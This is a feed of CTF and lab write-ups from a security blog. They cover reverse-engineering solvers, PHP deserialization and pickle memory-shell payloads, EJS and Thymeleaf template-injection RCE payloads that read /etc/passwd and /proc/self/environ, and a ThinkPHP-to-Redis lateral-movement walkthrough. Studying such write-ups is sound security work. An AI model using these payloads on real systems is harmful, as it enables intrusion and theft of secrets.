yulian's blog https://dirtycow.cn/ Essays from a Network Security Novice 旗未动 风也未吹 只是人心在动啊 https://dirtycow.cn/394.html 2025-11-29T02:11:00+08:00 2025羊城杯初赛Reverse-PLUS详细wp https://dirtycow.cn/393.html 2025-10-16T01:57:00+08:00 思路init.pyd模块分析image-20251015234327845.png查看代码,里面有一堆加法,然后传入了init中的方法int()、exit()、exec、m()方法先对python代码进行简单的简化查看一下init.pyd中的方法pyd_info.py:import init x = dir(init) print("fun b: " ,init.b) print("fun c: " , init.c) print("fun e: " , init.e) print("fun exec: " , init.exec) print("fun exit: " , init.exit) print("fun int: " , init.int) print("fun m: " , init.m) print("fun p: " , init.p) help(init) #result: ''' fun b: <function b64encode at 0x0000000001671F70> fun c: <class 'unicorn.unicorn_py3.unicorn.Uc'> fun e: <unicorn.unicorn_py3.arch.intel.UcIntel object at 0x0000000001522F10> fun exec: <cyfunction exec at 0x000000000147F5F0> fun exit: <built-in function eval> fun int: <class 'str'> fun m: <class 'operator.methodcaller'> fun p: <built-in function print> Help on module init: NAME init FUNCTIONS a2b_hex(hexstr, /) Binary data of hexadecimal representation. hexstr must contain an even number of hex digits (upper or lower case). This function is also available as "unhexlify()". exec(x) exit = eval(source, globals=None, locals=None, /) Evaluate the given source in the context of globals and locals. The source may be a string representing a Python expression or a code object as returned by compile(). The globals must be a dictionary and locals can be any mapping, defaulting to the current globals and locals. If only globals is given, locals defaults to it. i = input(prompt=None, /) Read a string from standard input. The trailing newline is stripped. The prompt string, if given, is printed to standard output without a trailing newline before reading input. If the user hits EOF (*nix: Ctrl-D, Windows: Ctrl-Z+Return), raise EOFError. On *nix systems, readline is used if available. p = print(...) print(value, ..., sep=' ', end='\n', file=sys.stdout, flush=False) Prints the values to a stream, or to sys.stdout by default. Optional keyword arguments: file: a file-like object (stream); defaults to the current sys.stdout. sep: string inserted between values, default a space. end: string appended after the last value, default a newline. flush: whether to forcibly flush the stream. DATA __test__ = {} e = <unicorn.unicorn_py3.arch.intel.UcIntel object> FILE c:\users\36134\desktop\2025羊城杯\re\re2\chal\init.pyd */ '''从help中可以看出b = b64encode() p = print(...) i = input(prompt=None, /) exit = eval()e = <unicorn.unicorn_py3.arch.intel.UcIntel object>m = operator.methodcaller()init.int()函数是str类型了,尝试调用这个函数image-20251016001416411.png这个函数实现了加法,返回str类型的和init.exec()函数暂时看不出来,先放着,根据从init.pyc中得知的信息,将脚本简化处理plus.py处理脚本:import re with open("plus.py", "r") as f: data = f.read() matches = re.findall(r'int\((.*?)\)', data) solve = [] for i in matches: if i == '': solve.append('') else: solve.append(eval(i)) for i, match in enumerate(matches): data = data.replace(f'int({match})', f"'{solve[i]}'") solve2 = [] matches = re.findall(r'exit\((.*?)\)', data) for i in matches: solve2.append(eval(i)) for i, match in enumerate(matches): data = data.replace(f'exit({match})', f"{solve2[i]}") data = data.replace(';','\n') print(data) 处理之后代码:from init import * m(exec(30792292888306032),16777216,2097152)(e) m(exec(30792292888306032),18874368,65536)(e) m(exec(2018003706771258569829),16777216,exec(2154308209104587365050518702243508477825638429417674506632669006169365944097218288620502508770072595029515733547630393909115142517795439449349606840082096284733042186109675198923974401239556369486310477745337218358380860128987662749468317325542233718690074933730651941880380559453),)(e) m(exec(2110235738289946063973),44,18939903)(e) m(exec(2018003706771258569829),18878464, i(exec(520485229507545392928716380743873332979750615584)).encode())(e) m(exec(2110235738289946063973),39,18878464)(e) m(exec(2110235738289946063973),43,44)(e) m(exec(2110235738289946063973),40,7)(e) m(exec(1871008466716552426100), 16777216, 16777332)(e) p(exec(1735356260)) if (b(m(exec(7882826979490488676), 18878464, 44)(e)).decode()== exec(636496797464929889819018589958474261894226380884858896837050849823120096559828809884712107801783610237788137002972622711849132377866432975817021)) else p(exec(31084432670685473)) #type:ignore分析e();m();init.exec查看处理之后的代码,有一个很大的int数值传入了init.exec(),调用这个函数查看image-20251016004049822.png这个函数实现了int2str的功能自己实现方法:def int2bytes(n, byteorder: str = "big"): if n == 0: return b"\x00" length = (n.bit_length() + 7) // 8 return n.to_bytes(length, byteorder)接下来分析m() e()方法m()方法是operator.methodcaller(),这个方法用来创建函数,类似于回调函数m(x1, x2, x3)(e)等价于e.x1(x2,x3)e()方法是unicorn.unicorn_py3.arch.intel.UcIntelUnicorn 是一个基于 QEMU 的CPU 模拟器框架可以将上面e写成e = unicorn.Uc(UC_ARCH_X86, UC_MODE_64),第一个参数是cpu架构,第二个参数是模式还原代码根据上面的分析,就可以将plus.py还原成原本的代码from unicorn import * from unicorn.x86_const import * from operator import methodcaller from base64 import b64encode as b e = Uc(UC_ARCH_X86, UC_MODE_64) e.mem_map(16777216,2097152) e.mem_map(18874368,65536) #写入汇编指令 e.mem_write(16777216,b'\xf3\x0f\x1e\xfaUH\x89\xe5H\x89}\xe8\x89u\xe4\x89\xd0\x88E\xe0\xc7E\xfc\x00\x00\x00\x00\xebL\x8bU\xfcH\x8bE\xe8H\x01\xd0\x0f\xb6\x00\x8d\x0c\xc5\x00\x00\x00\x00\x8bU\xfcH\x8bE\xe8H\x01\xd0\x0f\xb6\x002E\xe0\x8d4\x01\x8bU\xfcH\x8bE\xe8H\x01\xd0\x0f\xb6\x00\xc1\xe0\x05\x89\xc1\x8bU\xfcH\x8bE\xe8H\x01\xd0\x8d\x14\x0e\x88\x10\x83E\xfc\x01\x8bE\xfc;E\xe4r\xac\x90\x90]') e.reg_write(44,18939903) e.mem_write(18878464,input("[+]input your flag: ").encode()) e.reg_write(39,18878464) e.reg_write(43,44) e.reg_write(40,7) e.emu_start(16777216,16777332) print("good") if ( b(e.mem_read(18878464,44)).decode() == "425MvHMxtLqZ3ty3RZkw3mwwulNRjkswbpkDMK+3CDCOtbe6kzAqPyrcEAI=" ) else print("no way!") 逐行解析e = Uc(UC_ARCH_X86, UC_MODE_64)创建一个 x86-64 的 Unicorn 模拟器实例e.mem_map(16777216,2097152)在地址 0x01000000(十进制 16777216)映射 2MB 内存,作为放置并执行 shellcode 的区域e.mem_map(18874368,65536)在地址 0x01200000(十进制 18874368)映射 64KB 内存,作为数据区e.mem_write(16777216, b'\xf3\x0f\x1e\xfa...')把一段机器码(长度 116 bytes)写到 0x01000000e.reg_write(44,18939903)给某个寄存器写入常数 18939903 。代码里并没有以名字注明是哪个寄存器,但其作用是给 shellcode 一个初始化值e.mem_write(18878464,input("[+]input your flag: ").encode())把用户的输入写到地址 18878464 这个地址和上面 data 区的基址有关系:18878464 - 18874368 = 4096 = 0x1000所以输入被写入 data 区内偏移 0x1000 的位置(也就是 0x01201000)三个 reg_write:e.reg_write(39,18878464) e.reg_write(43,44) e.reg_write(40,7)这三行把函数参数或工作寄存器设为:一个指针(指向你放入的输入:18878464)一个长度 / 计数(44)另一个常数(7)在 x86-64 的调用约定里,整数参数通常通过 RDI/RSI/RDX/RCX/… 传递 这里使用具体的寄存器编号来配合 shellcode 读取参数e.emu_start(16777216,16777332)开始在 0x01000000 执行,直到 0x01000000 + 116,执行过程中,shellcode 会读取/写入 data 区最后比较:b(e.mem_read(18878464,44)).decode() == "425MvHMxtLqZ3ty3RZkw3mwwulNRjkswbpkDMK+3CDCOtbe6kzAqPyrcEAI="先对处理后的 44 字节用 base64编码得到字符串,再和enc进行比较汇编分析image-20251016014646900.png将汇编指令以二进制保存,使用ida打开分析,稍微处理一下数据类型和变量名image-20251016014839854.png这里使用异或和乘法进行运算,因为除法不能直接逆运算,所以要爆破Exp写脚本爆破flagimport base64 enc = base64.b64decode("425MvHMxtLqZ3ty3RZkw3mwwulNRjkswbpkDMK+3CDCOtbe6kzAqPyrcEAI=") flag = '' for i in range(44): for j in range(32,127): if ((8 * j) + (7 ^ j) + (32 * j)) &0xff == enc[i]: flag += chr(j) break print(flag) #result #DASCTF{un1c0rn_1s_u4fal_And_h0w_ab0ut_exec?} 2025羊城杯初赛部分wp https://dirtycow.cn/385.html 2025-10-14T11:48:00+08:00 Webez_unserialize代码:<?php error_reporting(0); highlight_file(__FILE__); class A { public $first; public $step; public $next; public function __construct() { $this->first = "继续加油!"; } public function start() { echo $this->next; } } class E { private $you; public $found; private $secret = "admin123"; public function __get($name){ if($name === "secret") { echo "<br>".$name." maybe is here!</br>"; $this->found->check(); } } } class F { public $fifth; public $step; public $finalstep; public function check() { if(preg_match("/U/",$this->finalstep)) { echo "仔细想想!"; } else { $this->step = new $this->finalstep(); ($this->step)(); } } } class H { public $who; public $are; public $you; public function __construct() { $this->you = "nobody"; } public function __destruct() { $this->who->start(); } } class N { public $congratulation; public $yougotit; public function __call(string $func_name, array $args) { return call_user_func($func_name,$args[0]); } } class U { public $almost; public $there; public $cmd; public function __construct() { $this->there = new N(); $this->cmd = $_POST['cmd']; } public function __invoke() { return $this->there->system($this->cmd); } } class V { public $good; public $keep; public $dowhat; public $go; public function __toString() { $abc = $this->dowhat; $this->go->$abc; return "<br>Win!!!</br>"; } } unserialize($_POST['payload']); ?>反序列化构造链子H::__destruct() -> A::start() -> V::__toString() -> E::__get() -> F::check() -> U::__invoke() -> system()POC:<?php class A { public $first; public $step; public $next; } class E { private $you; public $found; private $secret; } class F { public $fifth; public $step; public $finalstep; } class H { public $who; public $are; public $you; } class N { public $congratulation; public $yougotit; } class U { public $almost; public $there; public $cmd; } class V { public $good; public $keep; public $dowhat; public $go; } $f = new F(); $f->finalstep = 'u'; // 类名大小写不敏感,绕过 preg_match("/U/",...) // 2. 创建 E,它会调用 F->check() $e = new E(); $e->found = $f; // 3. 创建 V,它会触发 E::__get('secret') $v = new V(); $v->go = $e; $v->dowhat = 'secret'; // 4. 创建 A,它会触发 V::__toString() $a = new A(); $a->next = $v; // 5. 创建入口点 H,它会触发 A->start() $h = new H(); $h->who = $a; $payload = serialize($h); echo urlencode($payload); ?> //result /* O%3A1%3A%22H%22%3A3%3A%7Bs%3A3%3A%22who%22%3BO%3A1%3A%22A%22%3A3%3A%7Bs%3A5%3A%22first%22%3BN%3Bs%3A4%3A%22step%22%3BN%3Bs%3A4%3A%22next%22%3BO%3A1%3A%22V%22%3A4%3A%7Bs%3A4%3A%22good%22%3BN%3Bs%3A4%3A%22keep%22%3BN%3Bs%3A6%3A%22dowhat%22%3Bs%3A6%3A%22secret%22%3Bs%3A2%3A%22go%22%3BO%3A1%3A%22E%22%3A3%3A%7Bs%3A6%3A%22%00E%00you%22%3BN%3Bs%3A5%3A%22found%22%3BO%3A1%3A%22F%22%3A3%3A%7Bs%3A5%3A%22fifth%22%3BN%3Bs%3A4%3A%22step%22%3BN%3Bs%3A9%3A%22finalstep%22%3Bs%3A1%3A%22u%22%3B%7Ds%3A9%3A%22%00E%00secret%22%3BN%3B%7D%7D%7Ds%3A3%3A%22are%22%3BN%3Bs%3A3%3A%22you%22%3BN%3B%7D */image8.pngez_blogimage9.png使用guest用户登录这个网站,发现cookie中会有个tokenimage10.png十六进制解码之后发现有guest isadmin这些字段image11.png网站的后端是flask,这里的十六进制应该是序列化之后的,传到后端会将这段十六进制反序列化我们只要构造一个恶意代码,将其序列化之后的十六进制传入就能被执行构造一个内存马注入import pickle class RCE(): def __reduce__(self): command = r"""app.after_request_funcs.setdefault(None,[]).append(lambda resp: make_response(__import__('os').popen(request.args.get('cmd')).read()) if request.args.get('cmd') else resp)""" return (eval, (command,)) print(pickle.dumps(RCE()).hex()) image13.png替换token,刷新网页image14.png成功执行staticNodeServiceimage16.png在响应头中发现了express字样,后端是nodejs写的image17.png给了源码,审计一下这段 Node.js 代码实现了一个文件上传和文件浏览功能,基于Express + EJS 模板引擎实现 可以通过http put 上传文件image18.png这里是安全中间件如果 req.path 不是字符串 → 直接拒绝如果 req.query.templ 存在且不是字符串 → 拒绝如果路径中含 .. 或以 .js 结尾 → 拒绝访问虽然它过滤了 ..,但并未过滤 /templ,这里可以加载任意ejs模板image19.pngimage20.pngimage21.png成功执行命令POC:<% // 取到 global const G = ({}).constructor.constructor('return this')(); // 通过 process.mainModule.require 拿 child_process(更稳) const cp = (G.process && G.process.mainModule && G.process.mainModule.require) ? G.process.mainModule.require('child_process') : // 备用:若 mainModule 不可用,尝试用 process.require(少见) (G.process && G.process.require ? G.process.require('child_process') : null); if (!cp) { throw new Error('cannot locate child_process via process.mainModule.require'); } const out = cp.execSync('/readflag').toString(); %> <pre><%= out %></pre> authweb来审一下代码image-20251014091030413.png先看一下login 访问/dynamic-template这个接口不传参数 默认返回login.html页面,对模板进行解析image-20251014101658842.png在MainC类中发现了文件上传接口,文件会保存在uploadFile/${filename}.html中这里很明显是要配合/dynamic-template中的文件包含进行模板注入image-20251014102012384.png文件上传有鉴权,USER用户才有权限上传image-20251014091007467.png用户名和密码写死了,{noop} 代表密码不加密image-20251014102627535.pnggetUsernameFromToken方法返回了 claims.getSubject(),就是jwt中的sub字段使用密钥25d55ad283aa400af464c76d713c07add57f21e6a273781dbf8b7657940f3b03,可以直接伪造user1的jwt进行登录,然后上传模板通过/dynamic-template?value=../uploadFile/ 接口出发模板进行命令执行image-20251014104406235.png先写一个测试模板上传,查看模板是否会被解析<span th:text="${7 * 7}"></span>image-20251014111206175.pngimage-20251014111658111.png接下来构造命令执行pocimage-20251014111948792.png发现程序采用的是thymeleaf-3.1.2,这个版本新增了很多过滤,需要绕过在网上找到了一个可以用的poc参考链接:https://justdoittt.top/2024/03/24/Thymeleaf%E6%BC%8F%E6%B4%9E%E6%B1%87%E6%80%BB/index.html<p th:text='${__${new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().callMethodN(new.org..apache.tomcat.util.IntrospectionUtils().getClass().findMethod(new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Runtime"),"getRuntime",null),"invoke",{null,null},{new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.Object"),new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("org."+"thymeleaf.util.ClassLoaderUtils").loadClass("[Ljava.lang.Object;")}),"exec","cp /etc/passwd uploadFile/passwd.html",new.org..springframework.instrument.classloading.ShadowingClassLoader(new.org..apache.tomcat.util.IntrospectionUtils().getClass().getClassLoader()).loadClass("java.lang.String"))}__}'></p>image-20251014112742925.pngflag在环境变量,将上面poc中的 cp /etc/passwd uploadFile/passwd.html替换成cp /proc/self/environ uploadFile/flag.html即可ReverseGD1题目是一个游戏,由Godot开发使用GDRE_tools工具对游戏进行反编译image1.png发现encimage2.png这里是enc的加密逻辑当分数达到7906是执行下面的解码代码,查看具体解密逻辑把字符串 enc分成 12 位一组 ,即 3 个 4 位二进制数字前 4 位 → 百位数中 4 位 → 十位数后 4 位 → 个位数然后拼成一个三位数 ASCII 码解密写脚本解密a = "000001101000000001100101000010000011000001100111000010000100000001110000000100100011000100100000000001100111000100010111000001100110000100000101000001110000000010001001000100010100000001000101000100010111000001010011000010010111000010000000000001010000000001000101000010000001000100000110000100010101000100010010000001110101000100000111000001000101000100010100000100000100000001001000000001110110000001111001000001000101000100011001000001010111000010000111000010010000000001010110000001101000000100000001000010000011000100100101" flag = "" for i in range(0, len(a), 12): bin_chunk = a[i:i+12] hundreds = int(bin_chunk[0:4], 2) tens = int(bin_chunk[4:8], 2) units = int(bin_chunk[8:12], 2) ascii_value = hundreds * 100 + tens * 10 + units flag += chr(ascii_value) print(flag) //result //DASCTF{xCuBiFYr-u5aP2-QjspKk-rh0LO-w9WZ8DeS}Misc成功男人背后的女人image34.png使用adobe fireworks 打开图片发先图片有多个图层image35.png隐藏下面一个图层之后出来一个图片,里面有很多男女标志男为1 女为2提取出来,进行二进制解码就能getflagimage36.pngDS&AidataIdSort参考文档内数据格式结合AI编写脚本最后脚本:# -*- coding: utf-8 -*- import re import csv from datetime import datetime # --- 数据校验规范中定义的常量 --- # 手机号前三位号段集合 PHONE_PREFIXES = { "134", "135", "136", "137", "138", "139", "147", "148", "150", "151", "152", "157", "158", "159", "172", "178", "182", "183", "184", "187", "188", "195", "198", "130", "131", "132", "140", "145", "146", "155", "156", "166", "167", "171", "175", "176", "185", "186", "196", "133", "149", "153", "173", "174", "177", "180", "181", "189", "190", "191", "193", "199" } # 身份证号前17位加权系数 ID_CARD_WEIGHTS = [7, 9, 10, 5, 8, 4, 2, 1, 6, 3, 7, 9, 10, 5, 8, 4, 2] # 身份证号校验码映射关系 (余数 0-10 对应) ID_CARD_CHECKSUM = ['1', '0', 'X', '9', '8', '7', '6', '5', '4', '3', '2'] # --- 各类数据校验函数 --- def is_valid_idcard(s: str) -> bool: """校验身份证号码是否有效。""" cleaned_s = s.replace(" ", "").replace("-", "") if len(cleaned_s) != 18: return False if not cleaned_s[:17].isdigit() or not (cleaned_s[17].isdigit() or cleaned_s[17].upper() == 'X'): return False try: datetime.strptime(cleaned_s[6:14], '%Y%m%d') except ValueError: return False s_sum = sum(int(cleaned_s[i]) * ID_CARD_WEIGHTS[i] for i in range(17)) expected_checksum = ID_CARD_CHECKSUM[s_sum % 11] return cleaned_s[17].upper() == expected_checksum def is_valid_phone(s: str) -> bool: """校验手机号码是否有效。""" temp_s = s.strip() if temp_s.startswith("+86"): temp_s = temp_s[3:].strip() elif temp_s.startswith("(+86)"): temp_s = temp_s[5:].strip() cleaned_s = temp_s.replace(" ", "").replace("-", "") return len(cleaned_s) == 11 and cleaned_s.isdigit() and cleaned_s[:3] in PHONE_PREFIXES def is_valid_bankcard(s: str) -> bool: """使用 Luhn 算法校验银行卡号是否有效。""" if not (16 <= len(s) <= 19 and s.isdigit()): return False digits = [int(d) for d in s] for i in range(len(digits) - 2, -1, -2): doubled = digits[i] * 2 digits[i] = doubled - 9 if doubled > 9 else doubled return sum(digits) % 10 == 0 def is_valid_ip(s: str) -> bool: """校验IPv4地址是否有效。""" parts = s.split('.') if len(parts) != 4: return False for part in parts: if not part.isdigit() or (len(part) > 1 and part.startswith('0')) or not 0 <= int(part) <= 255: return False return True def is_valid_mac(s: str) -> bool: """校验MAC地址是否有效。""" return re.fullmatch(r'([0-9a-fA-F]{2}:){5}([0-9a-fA-F]{2})', s, re.IGNORECASE) is not None def process_data_file(input_filename: str, output_filename: str): """ 主处理函数:读取整个文件内容,提取所有可能的候选数据,进行校验和分类。 """ try: with open(input_filename, 'r', encoding='utf-8') as f_in: content = f_in.read() except FileNotFoundError: print(f"错误:输入文件 '{input_filename}' 未找到。") return # ★★★ 专家级正则表达式,使用负向先行断言 (?<!\d) 和 (?!\d) 来确保数字边界 ★★★ patterns = { 'idcard': r'(?<!\d)\d{6}(?:-|\s)?\d{8}(?:-|\s)?\d{3}[\dX](?!\d)', # ★★★ 兼容了 "+86" 后无空格的情况 ★★★ 'phone': r'(?<!\d)(?:\(\+86\)|\+86\s?)?(?:\d{3}[-\s]?\d{4}[-\s]?\d{4}|\d{11})(?!\d)', 'ip': r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}', 'mac': r'(?:[0-9a-fA-F]{2}:){5}[0-9a-fA-F]{2}', 'bankcard': r'(?<!\d)\d{16,19}(?!\d)' } validators = { 'idcard': is_valid_idcard, 'phone': is_valid_phone, 'bankcard': is_valid_bankcard, 'ip': is_valid_ip, 'mac': is_valid_mac } valid_data = [] found_values = set() # 更改查找顺序,优先查找格式最独特、最不容易混淆的类型 category_order = ['ip', 'mac', 'idcard', 'phone', 'bankcard'] for category in category_order: pattern = patterns[category] # 使用 re.IGNORECASE 使MAC地址匹配不区分大小写 candidates = re.finditer(pattern, content, re.IGNORECASE) for match in candidates: value = match.group(0) # 清理银行卡号候选值,因为它可能从一个更长的数字串中提取 # 但我们需要保留原始格式,所以只对纯数字的银行卡进行此操作 candidate_to_check = value if category == 'bankcard' and not re.search(r'[-\s]', value): # 如果一个18位的数字同时是无效身份证和有效银行卡,确保它被正确分类 pass # 在这个逻辑下,不需要特殊处理 if candidate_to_check in found_values: continue if validators[category](candidate_to_check): valid_data.append({'category': category, 'value': value}) found_values.add(value) # 将结果写入CSV文件 try: with open(output_filename, 'w', newline='', encoding='utf-8') as f_out: fieldnames = ['category', 'value'] writer = csv.DictWriter(f_out, fieldnames=fieldnames) writer.writeheader() writer.writerows(valid_data) print(f"处理完成!有效数据已保存至 '{output_filename}'。") except IOError: print(f"错误:无法写入到输出文件 '{output_filename}'。") # --- 脚本执行入口 --- if __name__ == '__main__': INPUT_FILE = 'data.txt' OUTPUT_FILE = 'results.csv' process_data_file(INPUT_FILE, OUTPUT_FILE)SM4-OFB使用明文推出异或密钥脚本:import pandas as pd import binascii plain_name_1 = "蒋宏玲" plain_id_1 = "220000197309078766" cipher_hex_id_1 = "1451374401262f5d9ca4657bcdd9687eac8baace87de269e6659fdbc1f3ea41c" plain_bytes_id_1 = plain_id_1.encode('utf-8') cipher_bytes_id_1 = binascii.unhexlify(cipher_hex_id_1) def xor_bytes(b1, b2): return bytes([_a ^ _b for _a, _b in zip(b1, b2)]) padded_plain_bytes_id_1 = plain_bytes_id_1.ljust(len(cipher_bytes_id_1), b'\x00') keystream = xor_bytes(padded_plain_bytes_id_1, cipher_bytes_id_1) df = pd.read_excel('个人信息表.xlsx', index_col=0) def decrypt_field(hex_ciphertext): if not isinstance(hex_ciphertext, str): return hex_ciphertext try: cipher_bytes = binascii.unhexlify(hex_ciphertext) except binascii.Error: return hex_ciphertext plain_bytes = xor_bytes(cipher_bytes, keystream) plain_bytes = plain_bytes.rstrip(b'\x00\x05\x07\r\n ') plain_text = plain_bytes.decode('utf-8', errors='ignore').strip() return plain_text df['姓名'] = df['姓名'].apply(decrypt_field) df['手机号'] = df['手机号'].apply(decrypt_field) df['身份证号'] = df['身份证号'].apply(decrypt_field) display(df[df['姓名'] == '何浩璐']) 第八届宁波市网络安全大赛reverse-wp https://dirtycow.cn/355.html 2025-08-18T18:44:00+08:00 SEA题目名称是sea,反过来就是aesimage-20250818181016692.png查看代码,有个复制操作,复制的值长度为32,正好符合aes-256 key的长度,赛博厨子一把梭image-20250818181508021.pngDASCTF{75aab2560274ae21aa4554b993e658d1}flower worldimage-20250818182007816.png程序将输入对每一位进行了各种运算操作和密文进行比较 image-20250818183312645.png只需要将这些运算操作提取出来进行逆运算就能还原flagimage-20250818183716333.pngflag的起始地址为0x407040,按地址递增,提取对该地址进行的运算操作,然后进行逆运算,让ai搓一个脚本import re ops_text = """ byte_40704D -= 120; byte_407070 ^= 0x4Fu; byte_407055 -= 30; .......... byte_407051 -= 42; byte_407050 ^= 0xD6u; """ BASE_FLAG = 0x407040 FLAG_LEN = 40 lines = [ln.strip() for ln in ops_text.strip().splitlines() if ln.strip() and not ln.strip().startswith('#')] ops = [] # list of (idx, op, val) for ln in lines: m = re.match(r'^byte_([0-9A-Fa-f]+)\s*([+\-^])=\s*(0x[0-9A-Fa-f]+|\d+)u?\s*;', ln) if m: addr = int(m.group(1), 16) op = m.group(2) val = int(m.group(3), 0) & 0xFF idx = addr - BASE_FLAG if 0 <= idx < FLAG_LEN: ops.append((idx, op, val)) continue m = re.match(r'^\+\+byte_([0-9A-Fa-f]+)\s*;', ln) if m: addr = int(m.group(1), 16); idx = addr - BASE_FLAG if 0 <= idx < FLAG_LEN: ops.append((idx, '+', 1)) continue m = re.match(r'^--byte_([0-9A-Fa-f]+)\s*;', ln) if m: addr = int(m.group(1), 16); idx = addr - BASE_FLAG if 0 <= idx < FLAG_LEN: ops.append((idx, '-', 1)) continue m = re.match(r'^flag\s*([+\-^])=\s*(0x[0-9A-Fa-f]+|\d+)u?\s*;', ln) if m: op = m.group(1); val = int(m.group(2), 0) & 0xFF idx = 0 # treat as first byte ops.append((idx, op, val)) continue len_ops = len(ops) len_ops, ops[:10], ops[-10:] cipher = bytes([ 0x7F,0x11,0x4A,0x9D,0xA5,0xD5,0x99,0x9F,0xAC,0xD3, 0xD4,0xBC,0x1A,0x53,0x46,0xF4,0xE7,0x37,0x03,0x60, 0x17,0xBA,0x67,0xAC,0x09,0xDA,0xA0,0xFB,0x2D,0x8E, 0xCB,0x11,0x02,0xC4,0x17,0xF7,0x1B,0x8F,0x67,0x52 ]) len(cipher) def invert(op, val): if op == '+': return ('-', val) if op == '-': return ('+', val) if op == '^': return ('^', val) raise ValueError(op) inv_ops = [(i,)+invert(op,v) for (i,op,v) in ops[::-1]] buf = bytearray(cipher) for i,op,v in inv_ops: if op == '+': buf[i] = (buf[i] + v) & 0xFF elif op == '-': buf[i] = (buf[i] - v) & 0xFF elif op == '^': buf[i] ^= v hex_out = buf.hex() ascii_try = None try: ascii_try = bytes(buf).decode('utf-8') except Exception as e: ascii_try = None print(hex_out, ascii_try) #运行结果 #4441534354467b35616333623238373131616163383664613063366634663438396230356539367d DASCTF{5ac3b28711aac86da0c6f4f489b05e96}DASCTF{5ac3b28711aac86da0c6f4f489b05e96} 群友靶机-exchange https://dirtycow.cn/349.html 2025-07-12T23:20:00+08:00 web打点靶机扫描┌──(root㉿kali)-[~] └─# nmap -sS 192.168.1.39 -p- Starting Nmap 7.93 ( https://nmap.org ) at 2025-07-12 01:46 EDT Nmap scan report for 192.168.1.39 Host is up (0.00080s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:BD:44:E0 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 2.44 seconds 开了22 和 80image-20250712220259253.png报错页面发现是ThinkPHP V5.0.5, 直接rce getshellimage-20250712221333094.png内网横向fscan -h 172.19.0.0/24 -np ┌──────────────────────────────────────────────┐ │ ___ _ │ │ / _ \ ___ ___ _ __ __ _ ___| | __ │ │ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / │ │ / /_\\_____\__ \ (__| | | (_| | (__| < │ │ \____/ |___/\___|_| \__,_|\___|_|\_\ │ └──────────────────────────────────────────────┘ Fscan Version: 2.0.0 [2025-07-12 14:17:09] [INFO] 暴力破解线程数: 1 [2025-07-12 14:17:09] [INFO] 开始信息扫描 [2025-07-12 14:17:09] [INFO] CIDR范围: 172.19.0.0-172.19.0.255 [2025-07-12 14:17:09] [INFO] 生成IP范围: 172.19.0.0.%!d(string=172.19.0.255) - %!s(MISSING).%!d(MISSING) [2025-07-12 14:17:09] [INFO] 解析CIDR 172.19.0.0/24 -> IP范围 172.19.0.0-172.19.0.255 [2025-07-12 14:17:09] [INFO] 最终有效主机数量: 256 [2025-07-12 14:17:09] [INFO] 开始主机扫描 [2025-07-12 14:17:09] [INFO] 有效端口数量: 233 [2025-07-12 14:17:21] [SUCCESS] 端口开放 172.19.0.1:22 [2025-07-12 14:17:21] [SUCCESS] 服务识别 172.19.0.1:22 => [ssh] 版本:8.4p1 Debian 5+deb11u3 产品:OpenSSH 系统:Linux 信息:protocol 2.0 Banner:[SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3.] [2025-07-12 14:17:45] [SUCCESS] 端口开放 172.19.0.3:80 [2025-07-12 14:17:50] [SUCCESS] 服务识别 172.19.0.3:80 => [http] 版本:1.18.0 产品:nginx [2025-07-12 14:29:31] [SUCCESS] 端口开放 172.19.0.2:6379 [2025-07-12 14:29:36] [SUCCESS] 服务识别 172.19.0.2:6379 => [redis] 版本:5.0.14 产品:Redis key-value store fscan扫描内网 ,发现了172.19.0.2:6379跑了个redis传个frp,开个socks代理,尝试连接redis┌──(root㉿kali)-[~] └─# proxychains4 -q redis-cli -h 172.19.0.2 -p 6379 172.19.0.2:6379> info # Server redis_version:5.0.14 redis_git_sha1:00000000 redis_git_dirty:0 redis_build_id:82e99d45f54e2614 redis_mode:standalone os:Linux 4.19.0-27-amd64 x86_64 arch_bits:64 multiplexing_api:epoll atomicvar_api:atomic-builtin gcc_version:10.2.1 process_id:1 run_id:e88d7ed01f6f98ec6aacd23601cf3eb1ab6cc8df tcp_port:6379 uptime_in_seconds:1231 uptime_in_days:0 hz:10 configured_hz:10 lru_clock:7500446 executable:/data/redis-server config_file: # Clients connected_clients:1 client_recent_max_input_buffer:4 client_recent_max_output_buffer:4100800 blocked_clients:0 # Memory used_memory:854176 used_memory_human:834.16K used_memory_rss:12750848 used_memory_rss_human:12.16M used_memory_peak:4953952 used_memory_peak_human:4.72M used_memory_peak_perc:17.24% used_memory_overhead:840974 used_memory_startup:791280 used_memory_dataset:13202 used_memory_dataset_perc:20.99% allocator_allocated:1424312 allocator_active:1716224 allocator_resident:8458240 total_system_memory:2092433408 total_system_memory_human:1.95G used_memory_lua:37888 used_memory_lua_human:37.00K used_memory_scripts:0 used_memory_scripts_human:0B number_of_cached_scripts:0 maxmemory:0 maxmemory_human:0B maxmemory_policy:noeviction allocator_frag_ratio:1.20 allocator_frag_bytes:291912 allocator_rss_ratio:4.93 allocator_rss_bytes:6742016 rss_overhead_ratio:1.51 rss_overhead_bytes:4292608 mem_fragmentation_ratio:15.70 mem_fragmentation_bytes:11938672 mem_not_counted_for_evict:0 mem_replication_backlog:0 mem_clients_slaves:0 mem_clients_normal:49694 mem_aof_buffer:0 mem_allocator:jemalloc-5.1.0 active_defrag_running:0 lazyfree_pending_objects:0 # Persistence loading:0 rdb_changes_since_last_save:0 rdb_bgsave_in_progress:0 rdb_last_save_time:1752329680 rdb_last_bgsave_status:ok rdb_last_bgsave_time_sec:-1 rdb_current_bgsave_time_sec:-1 rdb_last_cow_size:0 aof_enabled:0 aof_rewrite_in_progress:0 aof_rewrite_scheduled:0 aof_last_rewrite_time_sec:-1 aof_current_rewrite_time_sec:-1 aof_last_bgrewrite_status:ok aof_last_write_status:ok aof_last_cow_size:0 # Stats total_connections_received:2 total_commands_processed:3 instantaneous_ops_per_sec:0 total_net_input_bytes:72 